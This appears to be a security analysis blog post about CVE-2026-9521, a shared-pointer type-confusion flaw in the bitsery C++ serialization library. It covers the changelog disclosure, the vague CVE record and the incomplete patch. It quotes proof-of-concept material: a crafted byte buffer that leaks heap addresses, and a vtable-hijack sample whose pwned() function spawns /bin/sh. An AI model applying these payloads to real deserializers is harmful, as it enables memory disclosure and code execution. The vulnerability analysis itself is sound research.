bitsery's CHANGELOG entry for v5.2.5, dated October 9, 2025, contains the sentence "fix security issue during deserialization where a crafted payload could cause a shared pointer to be assigned to a different type" and a markdown link. The link goes to a public gist. The gist has four runnable C++ files. One of them defines a function called pwned(), fills the deserializer's buffer with a pointer to it, and gets it called through a virtual dispatch. CVE-2026-9521 was published on NVD 229 days later. The CVE description says "improper validation of specified type of input." It does not name shared pointers, type confusion, vtable hijack, or the gist the CHANGELOG already linked.
CVE-2026-9521: bitsery's CHANGELOG Disclosed The Type Confusion 229 Days Before MITRE
vendor
pattern
cve
The function that shortcuts is the function that reinterpret_casts
bitsery is a header-only C++ serialization library. The vulnerable function in CVE-2026-9521 is SmartPtrOwnerManager::loadFromSharedState in include/bitsery/ext/std_smart_ptr.h. The mechanism is shared-pointer dedup without type identity.
When the deserializer reads a shared_ptr<T>, it reads a numeric id from the buffer first. If the id has not been seen on this deserialization pass, the deserializer reads the pointee bytes off the wire and registers the result in _idMap[id]. If the id HAS been seen, the deserializer takes the shortcut: it reuses the state.obj already in the map and hands it to the caller. The shortcut, in v5.2.4, was this:
static void loadFromSharedState(TSharedState& state, T& obj)
{
// reinterpret_pointer_cast is only since c++17
auto p = reinterpret_cast<TElement*>(state.obj.get());
obj = std::shared_ptr<TElement>(state.obj, p);
}The comment above the cast is testimony. The author considered the C++17 reinterpret_pointer_cast, decided the codebase needed pre-C++17 compatibility, and reached for the older reinterpret_cast. Nowhere in the function is the type that was stored when state.obj was first registered checked against TElement, the type the current field expects. The cast happens. The caller receives a shared_ptr<TElement> aimed at bytes that were never a TElement.
TElement is whatever the current call expects. The buffer chooses what state.obj originally held by choosing the type of the field at id's first appearance. The buffer chooses both halves of the type confusion.
example_addr_leak_1.cpp
The gist's first PoC serializes a MyData struct with four shared_ptr fields:
struct A { std::string data = "AAAABBBBCCCC"; };
struct B { std::vector<uint8_t> data = {0x11, 0x12, 0x13}; };
struct C { uint64_t data = 42; };
struct MyData
{
std::shared_ptr<A> a;
std::shared_ptr<B> b;
std::shared_ptr<C> c;
std::shared_ptr<C> c2;
};The exploit buffer is twenty-one bytes:
0x01,0x0c,0x41,0x41,0x41,0x41,0x42,0x42, 0x42,0x42,0x43,0x43,0x43,0x43,0x02,0x03,
0x11,0x12,0x13,0x01,0x02,The first three fields decode normally: a gets id=1 and the string "AAAABBBBCCCC", b gets id=2 and the vector {0x11, 0x12, 0x13}, c gets id=3 and the value 42. The last two bytes are the assignment for c2: the buffer claims c2 is id=1 (already registered under A) and then runs out. The deserializer reads c2's id=1, finds the slot in _idMap, and short-circuits through loadFromSharedState.
loadFromSharedState runs with state.obj holding the A instance and TElement=C. reinterpret_cast<C*>(state.obj.get()) returns a pointer that aims C::data (a uint64_t) at the first eight bytes of A (the std::string header, the first field of which is the heap pointer to the string's character buffer). The application reads c2->data and sees a heap address.
Run the file and the last lines of output are:
c: 55e5c1a5d780
c2: 55e5c1a5dab0ASLR bypassed. The deserializer raised no error. The PoC's own assertion clause passes verbatim: assert(des.adapter().error() == bitsery::ReaderError::NoError && des.adapter().isCompletedSuccessfully()).
example_vtable_hijack.cpp and pwned()
The vtable hijack is in example_vtable_hijack.cpp. It defines:
void pwned() {
std::cout << "pwned!" << std::endl;
system("/bin/sh");
}
void* table[] = {(void*)pwned};The exploit buffer declares two shared_ptr fields, an A (plain struct with one uint64_t) and a B (polymorphic, has virtual void foo()). The buffer assigns id=1 to the A and re-uses id=1 for the B. The serializer wrote A's eight bytes as the literal pointer value of &table. On the second id=1 resolution, loadFromSharedState runs with state.obj holding the A storage and TElement=B. The reinterpret_cast turns the A's eight bytes into a B*. The first eight bytes of any polymorphic class instance are the vtable pointer. The deserializer assigns data.b = shared_ptr<B>(...) aiming at the A's bytes, which now claim to be a B whose vtable lives at &table.
The next line of the program is data.b->foo(). C++ dispatches a virtual call through the object's vtable: it reads the first eight bytes of *data.b, treats those eight bytes as a pointer to a vtable, and calls the first function in that vtable. The first eight bytes are &table. The first function in table is pwned. pwned() calls system("/bin/sh"). The shell runs in the deserializer's process.
The library's deserializer assertion passes. No error was raised.
CVSS 7.3, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L. Each of confidentiality, integrity, and availability rated Low. The gist linked from the CHANGELOG defines a function called pwned. The two records describe different exploits.
The CHANGELOG was the disclosure
The fix commit 66d16516e24893bebc1c8af52bf2fe9ad0735061 landed on the bitsery master branch on October 2, 2025. The commit message reads "Fix shared polymorphic poiner like type serialization/deserialization." Six days later, on October 8, 2025, the maintainer wrote the CHANGELOG section for the next release. The CHANGELOG.md diff in that commit added these lines verbatim:
# [5.2.5](https://github.com/fraillt/bitsery/compare/v5.2.4...v5.2.5) (2025-10-09)
### Bug fixes
* fix security issue during deserialization where a crafted payload could cause a shared pointer to be assigned to a different type. More information is [here](https://gist.github.com/TrebledJ/750abc64a826f19dd2d6774724629b71). (huge thanks to [Johnathan](https://github.com/TrebledJ))The phrase "security issue" is named. The bug class is described in one sentence. The link points to TrebledJ's gist, which contains cvd_bitsery_20250830.md (the coordinated-disclosure document), example_addr_leak_1.cpp, example_addr_leak_2.cpp, example_mem_read.cpp, and example_vtable_hijack.cpp. The link is markdown. It rendered on github.com from the day the v5.2.5 tag was cut.
The 5.2.5 tag was cut on October 9, 2025. CVE-2026-9521 was published on NVD on May 26, 2026. From release-day to CVE-assignment, 229 days elapsed.
During those 229 days, the CHANGELOG paragraph was the project's public statement that this release fixed a security issue. Consumers reading the changelog when deciding whether to upgrade saw a security note and a link to four runnable exploit primitives. Consumers reading CVE feeds during the same window saw nothing about bitsery.
This is release-lag-disclosure in a sharper form than the canonical shape. The fix landed in trunk and shipped in a tag in the same week. The CHANGELOG carried the disclosure for 229 days while MITRE caught up.
What the CVE record left out
The NVD description for CVE-2026-9521, in full:
A security vulnerability has been detected in fraillt bitsery up to 5.2.4. Affected is the function loadFromSharedState in the library include/bitsery/ext/std_smart_ptr.h. Such manipulation leads to improper validation of specified type of input. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.
Words the NVD description does not include: "shared pointer," "type confusion," "ASLR," "memory disclosure," "vtable," "RCE." The phrase "improper validation of specified type of input" is the boilerplate text for CWE-20, the generic category MITRE assigns when no more specific category is identified. CWE-843 (Access of Resource Using Incompatible Type, the canonical entry for type confusion) is not referenced. The CHANGELOG entry the filer had access to was more technically specific than the CVE description that resulted from it.
CVSS rates the impact C:L/I:L/A:L. The PoC the CHANGELOG links includes vtable hijack to arbitrary code execution. The rating and the linked artifact disagree about what the bug does.
The patch wraps the cast, then ships a TODO for the next one
The fix commit adds a sharedTypeId field to PLCInfoDeserializer and a canAssignToShared helper. The check decides whether to enter loadFromSharedState. The cast site itself is unchanged:
static void loadFromSharedState(TSharedState& state, T& obj)
{
// reinterpret_pointer_cast is only since c++17
auto v = state.obj.get();
auto p = reinterpret_cast<TElement*>(v);
obj = std::shared_ptr<TElement>(state.obj, p);
}The reinterpret_cast remains. The new code decides whether to reach it. In the non-polymorphic deserialization branch, the new gate is a one-line equality check; in the polymorphic branch, it walks the inheritance chain so subtypes still resolve.
The same commit adds a sibling function for the polymorphic path:
static void loadFromSharedStatePolymorphic(TSharedState& state, T& obj)
{
// TODO Fix pointer addresses in case objects are deserialized using
// different bases
// reinterpret_pointer_cast is only since c++17
auto v = state.obj.get();
auto p = reinterpret_cast<TElement*>(v);
obj = std::shared_ptr<TElement>(state.obj, p);
}The new function is identical to the fixed one except for the TODO. The TODO names what the polymorphic case still gets wrong: when a class hierarchy uses multiple inheritance, casting between a Base* and a Derived* requires adjusting the pointer by the offset of the Base subobject within Derived. reinterpret_cast does not do that. The TODO acknowledges this. The function shipped.
Six days after the named fix, two more commits landed touching the same files. ff841d6 "check type information before assigning to observer pointer" added type-check coverage to a sibling code path. 5e7eced "cast from polymorphic owner pointer-like type to observer during assignment" added the corresponding cast adjustment. Three patches in one release cycle, all addressing the type-check gap in the same component. The bug class recurred twice inside the patch window before 5.2.5 went out.
Why this exists
bitsery's documentation positions it as a library for "trusted bus" contexts: game state replication, IPC between processes the same operator owns. The README and examples do not describe the deserialization input as adversarial. Within that threat model, the absence of type checking at the cast site reads as performance discipline, not negligence. The buffer is trusted; the producer's Serializer is the only thing that ever wrote it. Why check?
CVE-2026-9521's AV:N (Attack Vector Network) marks the threat model the library was not designed for. Consumers consuming attacker-supplied buffers (network protocols, on-disk cache files written by user processes, IPC across trust boundaries) had reached for StdSmartPtr under the older assumption. The CHANGELOG entry for 5.2.5 is the moment the project updated its threat model in writing. The README, today, still describes bitsery as a serializer for game state and similar use cases.
The CHANGELOG was the disclosure. The CVE was the receipt.